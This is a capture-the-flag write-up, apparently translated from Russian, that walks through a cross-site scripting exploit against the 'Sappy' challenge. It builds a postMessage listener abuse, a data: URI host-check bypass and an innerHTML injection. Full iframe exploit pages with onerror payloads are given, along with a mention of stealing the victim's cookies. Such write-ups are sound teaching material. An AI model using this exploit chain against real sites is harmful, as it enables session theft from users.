XSS in Sappy (partial writeup)
Sink
A potentially dangerous JavaScript function or DOM object that could cause a vulnerability if passed user-controlled data. For example, the eval() function is a Sink because it treats the argument passed to it like JavaScript. An example of HTML-Sink is document.body.innerHTML, as this potentially allows HTML to be injected and arbitrary JavaScript to be executed.
Gadget
Small pieces of code that can be used to exploit vulnerabilities. Gadgets are often used in vulnerability chains to achieve greater impact. They are also used to bypass security measures, escalate privileges, or execute arbitrary code.
After getting acquainted with the source code, we should have been interested in the file sap.html
which pulls up the file sap.js
.
The potential sink is located in this section of code:
window.addEventListener(
"message",
async (event) => {
let data = event.data;
if (typeof data !== "string") return;
data = JSON.parse(data);
const method = data.method;
switch (method) {
case "initialize": {
if (!data.host) return;
API.host = data.host;
break;
}
case "render": {
if (typeof data.page !== "string") return;
const url = buildUrl({
host: API.host,
page: data.page,
});
const resp = await fetch(url);
if (resp.status !== 200) {
console.error("something went wrong");
return;
}
const json = await resp.json();
if (typeof json.html === "string") {
output.innerHTML = json.html;
}
break;
}
}
},
false
);
Sink:
output.innerHTML = json.html;
Gadget chain:
Passing user data to event listener
Override
API.host
Parameter Formation
url
usingAPI.host
Anddata.page
AJAX request to
url
usingfetch()
The request response in json format contains the key
html
the value of which is substituted into sink
Exploit preparation
Passing user data to event listener
To exploit this section of code, you need to somehow transfer user data (source) to it. For this purpose the method is used addEventListener()
MDN:
Method
EventTarget.addEventListener()
registers a specific event handler called onEventTarget
.
EventTarget
May beElement
,Document
,Window
or any other event-enabled object (such asXMLHttpRequest
).Syntax
target.addEventListener(type, listener[, options]); ...
type
Case sensitive string representing type of event processed.
listener
An object that receives a notification when an event of the specified type has occurred. This must be an object that implements the interfaceEventListener
or simply JavaScript function.
Controlling the web message source(literal translation)
If the page handles incoming web messages in an insecure way, for example by not validating correctly
origin
of incoming messages to the event listener, properties and functions called by the event listener can become sinks. For example, an attacker could place a maliciousiframe
and use the methodpostMessage()
to pass the web message data to the vulnerable event listener, which then sends the payload to the sink on the parent page. This behavior means that you can use web messages as a source to distribute malicious data to any of these sinks.
Those. to execute the method postMessage()
with payload, the following conditions must be met:
Presence of event listener of type “message”
addEventListener("message", ...)
Using data from an event
addEventListener("message", funciton(event) { eval(event.data); })
Lack of protection against the use of iframes
Then our exploit will look something like this:
<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload="this.contentWindow.postMessage('print()','*')">
Overriding API.host
async (event) => {
let data = event.data;
if (typeof data !== "string") return;
data = JSON.parse(data);
const method = data.method;
switch (method) {
case "initialize": {
if (!data.host) return;
API.host = data.host;
break;
}
To override API.host
source must be in JSON format and contain keys method
with meaning "initialize"
And host
with a value to override host:
Then exploit at this stage may look like this:
<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"...\"}","*")'>
Forming the url parameter using API.host and data.page
const Uri = goog.require("goog.Uri");
...
case "render": {
if (typeof data.page !== "string") return;
const url = buildUrl({
host: API.host,
page: data.page,
});
}
...
function buildUrl(options) {
return getHost(options) + "/sap/" + options.page;
}
...
function getHost(options) {
if (!options.host) {
const u = Uri.parse(document.location);
return u.scheme + "://sappy-web.2024.ctfcompetition.com";
}
return validate(options.host);
}
As can be seen from the code, the parameter API.host
checked for the presence of a string "://sappy-web.2024.ctfcompetition.com"
but without checking the circuit.
Here we get acquainted with the data schema.
DATA scheme:,
RFC:
Some applications that use URLs also have a need to embed (small)
media type data directly inline. This document defines a new URL
scheme that would work like 'immediate addressing'. The URLs are of
the form:
data:[<mediatype>][;base64],<data>
The <mediatype> is an Internet media type specification (with
optional parameters.) The appearance of ";base64" means that the data
is encoded as base64. Without ";base64", the data (as a sequence of
octets) is represented using ASCII encoding for octets inside the
range of safe URL characters and using the standard %xx hex encoding
of URLs for octets outside that range. If <mediatype> is omitted, it
defaults to text/plain;charset=US-ASCII. As a shorthand,
"text/plain" can be omitted but the charset parameter supplied.
A data URL might be used for arbitrary types of data. The URL
data:,A%20brief%20note
encodes the text/plain string "A brief note", which might be useful
in a footnote link.
Wiki:
The minimal data URI is
data:,
consisting of the scheme, no media-type, and zero-length data.Thus, within the overall URI syntax, a data URI consists of a scheme and a pathwith no authority part query stringor fragment. The optional media typethe optional base64 indicator, and the data are all parts of the URI path.
From everything described above, we conclude that to use this scheme it is enough to indicate data:{что угодно},{полезные данные}
.
Then the payload for this gadget will look like:
data://sappy-web.2024.ctfcompetition.com/,{payload}
And the final exploit will look like:
<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"data://sappy-web.2024.ctfcompetition.com/,{payload}\"}","*")'>
AJAX request to url using fetch()
Next, you need to know some features of working with fetch and promise.
Promise
A Promise is a special object that contains its own state. At the beginning
pending
(“waiting”), then one of:fulfilled
(“completed successfully”) orrejected
(“completed with error”).
…
The way to use it, in general terms, is this:
Code that needs to do something asynchronously creates an object
promise
and returns it.External code, having received
promise
attaches handlers to it.When the process completes, the asynchronous code translates
promise
in a statefulfilled
(with result) orrejected
(with an error). In this case, the corresponding handlers in the external code are automatically called.
fetch()
MDN:
The global
fetch()
method starts the process of fetching a resource from the network, returning a promise that is fulfilled once the response is available.
(literal translation): “Global method fetch()
starts the process of obtaining a resource from the network, returning a promise that will be fulfilled (state fulfilled
), as soon as the Response is available.”
The promise resolves to the
Response
object representing the response to your request.
(literal translation): “Promise resolves to an object Response
representing the answer to your request.”
A
fetch()
promise only rejects when the request fails, for example, because of a badly-formed request URL or a network error. Afetch()
promise does not reject if the server responds with HTTP status codes that indicate errors (404
,504
, etc.). Instead, athen()
handler must check theResponse.ok
and/orResponse.status
properties.
(literal translation): “Promise fetch()
is rejected only if the request fails, such as due to a malformed request URL or a network error. Promise fetch()
does not reject a request if the server responds with HTTP status codes that indicate errors (404
, 504
etc.). Instead the handler then()
should check properties Response.ok
and/or Response.status
“
It is important for us that with any response from the server, fetch()
will still return a promise with a response, but more on that later.
When you call fetch
, it returns a Promise that resolves to a Response object. To access the fields of the response object, you need to wait for this promise to resolve. This can be done in several ways: using promise chains (.then()
) or using await
inside an asynchronous function.
Example without await
:
fetch("https://example.com/api/data")
.then(response => {
// Теперь у вас есть объект Response
console.log(response.status); // Пример доступа к полю статуса
return response.text(); // Если вы ожидаете текстовый ответ
})
await fetch()
used inside an asynchronous function to wait for the resolution of a promise that returns fetch()
. This makes working with asynchronous operations easier because it allows you to write code that appears synchronous.
Example with await
:
async function fetchData() {
const response = await fetch('https://example.com/api/data');
const data = await response.json();
console.log(data);
}
fetchData();
At this stage, the event listener needs to send two events.
<iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
<script>
function sendMessages() {
const iframe = document.getElementById('myIframe');
const iframeWindow = iframe.contentWindow;
const messages = [
'{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
'{"method": "render", "page": \\",{payload}\\"}"}'
];
messages.forEach(message => {
iframeWindow.postMessage(message, "*");
});
}
</script>
The request response in json format contains the html key, the value of which is substituted in sink
const json = await resp.json();
if (typeof json.html === "string") {
output.innerHTML = json.html;
}
If we use the method fetch()
to request a resource in json format, then after receiving the server response you can use the method Response.json()
.
There is a resource for testing such functionality: https://mdn.github.io/dom-examples/fetch/fetch-json/.
Address https://mdn.github.io/dom-examples/fetch/fetch-json/products.json returns an array of JSON objects.
![](https://habrastorage.org/getpro/habr/upload_files/4d5/e83/98b/4d5e8398b4080557bff17425096a36ad.png)
Note 1. In argument
fetch()
a relative address is specified, because the request was executed in the toolbar console on this tab.
Note 2. Method
json()
also returns promise, so we useawait
to get the object.
Now we use the scheme data:,{payload}
with json data as payload {"foo":"bar"}
in URI and method json()
:
![](https://habrastorage.org/getpro/habr/upload_files/ca1/b60/eb2/ca1b60eb27e5c2b993996fd3ac6b9549.png)
And we see that the data from url
returned as a JSON object from the response.
It turns out that the code looks like:
res = await fetch(url);
foo = await res.json();
allows us to create different json objects within the same domain using schema data:,
and method promises fetch()
.
We remember that url
formed by concatenating two sources with a string value "/sap/"
:
function buildUrl(options) {
return getHost(options) + "/sap/" + options.page;
}
So that the payload looks like:
'data://sappy-web.2024.ctfcompetition.com/sap,{"html":"<img src=x onerror=alert(1)>"}'
Then the final exploit will look something like this:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
<script>
function sendMessages() {
const iframe = document.getElementById('myIframe');
const iframeWindow = iframe.contentWindow;
const messages = [
'{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
'{"method": "render", "page": ",{\\"html\\":\\"<img src=x onerror=alert(1)>\\"}"}'
];
messages.forEach(message => {
iframeWindow.postMessage(message, "*");
});
}
</script>
</body>
</html>
![](https://habrastorage.org/getpro/habr/upload_files/4ea/5ec/a5b/4ea5eca5b8113ea201460073f3d57947.png)
At the time of writing this writeup exploit from Google looks like this:
window.postMessage('{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/,{\\"html\\":\\"<img src=x onerror=alert(1)>"}');
window.postMessage('{"method": "render", "page": "page1\\"}"}')
Finally, to get the flag, the payload had to be converted so that it would send the victim's cookies (which contained the flag) to the resource under control.